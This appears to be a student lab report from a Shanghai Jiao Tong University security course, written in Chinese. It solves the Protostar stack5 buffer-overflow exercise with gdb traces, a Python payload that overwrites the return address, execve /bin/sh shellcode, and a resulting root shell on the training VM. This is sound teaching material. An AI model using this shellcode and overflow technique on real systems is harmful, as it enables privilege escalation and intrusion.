上海交通大学
SHANGHAI JIAO TONG UNIVERSITY

CS3312 Lab Stack5

学号：522031910439　姓名：梁俊轩

2025 年 3 月 19 日

1　代码逻辑

对源码进行分析, 在 Protostar 官网可以看到 stack3 的 C 语言源代码：

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
```

汇编代码：

```
0x080483c4 <main+0>:push   ebp
0x080483c5 <main+1>:mov    ebp,esp
0x080483c7 <main+3>:and    esp,0xfffffff0
0x080483ca <main+6>:sub    esp,0x50
0x080483cd <main+9>:lea    eax,[esp+0x10]
0x080483d1 <main+13>:mov    DWORD PTR [esp],eax
0x080483d4 <main+16>:call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:leave
0x080483da <main+22>:ret
End of assembler dump.
```

非常短，没有 win 函数，我们要做的是将 shellcode 注入到 buffer 中，然后通过覆盖返回地址，使得程序跳转到 buffer 中执行 shellcode。

2　漏洞分析

首先构造一个文本来简单测试一下，将”AAAA BBBB CCCC DDDD EEEE FFFF GGGG HHHH IIII JJJJ KKKK LLLL MMMM NNNN OOOO PPPP QQQQ RRRR SSSS TTTT UUUU VVVV WWWW XXXX YYYY ZZZZ” 作为输入来执行程序，将断点打在 0x080483da 观察变化：

可以知道 esp 的值为 0x54545454，在执行之后导致了 segmentation fault，那么我们要做的就是构造一个输入，在执行 ret 后，使得 esp 跳转到 0xbffffccc+0x00000004=0xbffffcd0 处，然后紧接着执行

```
(gdb) r < exp.txt
Starting program: /opt/protostar/bin/stack5 < exp.txt

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x5353535b
) at stack5/stack5.c:11
11      stack5/stack5.c: No such file or directory.
        in stack5/stack5.c
(gdb) x/24wx $esp
0xbffffccc:     0x54545454      0x55555555      0x56565656      0x57575757
0xbffffcdc:     0x58585858      0x59595959      0x5a5a5a5a      0xb7ffef00
0xbffffcec:     0x08048232      0x00000001      0xbffffd30      0xb7ff0626
0xbffffcfc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffffd0c:     0x00000000      0xbffffd48      0xc6cdf9cf      0xec8c2fdf
0xbffffd1c:     0x00000000      0x00000000      0x00000000      0x00000001
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()
(gdb)
```

图 1 执行结果

shellcode。

```
buffer= "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"

ret=  "\xd0\xfc\xff\xbf"      #0xbffffcd0

payload = "\xcc"*8

print buffer+ret+payload
```

将上述内容作为输入执行程序：

```
(gdb) r < exp.txt
Starting program: /opt/protostar/bin/stack5 < exp.txt

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x5353535b
) at stack5/stack5.c:11
11      stack5/stack5.c: No such file or directory.
        in stack5/stack5.c
(gdb) x/24wx $esp
0xbffffccc:     0xbffffcd0      0xcccccccc      0xcccccccc      0xbffffd00
0xbffffcdc:     0xb7fe1848      0xbffffd30      0xffffffff      0xb7ffeff4
0xbffffcec:     0x08048232      0x00000001      0xbffffd30      0xb7ff0626
0xbffffcfc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffffd0c:     0x00000000      0xbffffd48      0x19812c51      0x33c0fa41
0xbffffd1c:     0x00000000      0x00000000      0x00000000      0x00000001
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffffcd1 in ?? ()
```

图 2 执行结果

可以看到成功的跳转到了 0xbffffcd0 处，接下来只需要修改输入的 payload 部分，替换成要执行的 shellcode。

需要注意的是要将 shellcode 翻译成机器码的格式，从而构造出输入：

```
buffer= "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"

ret=  "\xd0\xfc\xff\xbf"      #0xbffffcd0

payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

print buffer+ret+payload
```

```
Disassembly of section .text:

08048060 <_start>:
 8048060: 31 c0                xor    %eax,%eax
 8048062: 50                   push   %eax
 8048063: 68 2f 2f 73 68       push   $0x68732f2f
 8048068: 68 2f 62 69 6e       push   $0x6e69622f
 804806d: 89 e3                mov    %esp,%ebx
 804806f: 89 c1                mov    %eax,%ecx
 8048071: 89 c2                mov    %eax,%edx
 8048073: b0 0b                mov    $0xb,%al
 8048075: cd 80                int    $0x80
 8048077: 31 c0                xor    %eax,%eax
 8048079: 40                   inc    %eax
 804807a: cd 80                int    $0x80
```

图 3 要执行的 shellcode

最后执行以下指令来运行 stack5，避免 shell 闪退：

```
(python s5.py; cat) | /opt/protostar/bin/stack5
```

使用 ls- la 来测试 shellcode 能否正常执行，最后发现成功了：

```
root@protostar:/opt/protostar/bin# (python s5.py; cat) | /opt/protostar/bin/stack5
ls -la
total 918
drwxr-xr-x 2 root root    80 Mar 16 09:39 .
drwxr-xr-x 6 root root    80 Nov 22  2011 ..
-rw-r--r-- 1 root root    89 Mar 16 09:16 exp.txt
-rwsr-xr-x 1 root root 54889 Nov 24  2011 final0
-rwsr-xr-x 1 root root 56773 Nov 24  2011 final1
-rwsr-xr-x 1 root root 79974 Nov 24  2011 final2
-rwsr-xr-x 1 root root 23017 Nov 24  2011 format0
-rwsr-xr-x 1 root root 22931 Nov 24  2011 format1
-rwsr-xr-x 1 root root 23233 Nov 24  2011 format2
-rwsr-xr-x 1 root root 23409 Nov 24  2011 format3
-rwsr-xr-x 1 root root 23472 Nov 24  2011 format4
-rwsr-xr-x 1 root root 23541 Nov 24  2011 heap0
-rwsr-xr-x 1 root root 23528 Nov 24  2011 heap1
-rwsr-xr-x 1 root root 54838 Nov 24  2011 heap2
-rwsr-xr-x 1 root root 54559 Nov 24  2011 heap3
-rwsr-xr-x 1 root root 54969 Nov 24  2011 net0
-rwsr-xr-x 1 root root 55350 Nov 24  2011 net1
-rwsr-xr-x 1 root root 55036 Nov 24  2011 net2
-rwsr-xr-x 1 root root 57092 Nov 24  2011 net3
-rwsr-xr-x 1 root root 54434 Nov 24  2011 net4
-rw-r--r-- 1 root root   281 Mar 16 09:39 s5.py
-rwsr-xr-x 1 root root 22412 Nov 24  2011 stack0
```

图 4 最终结果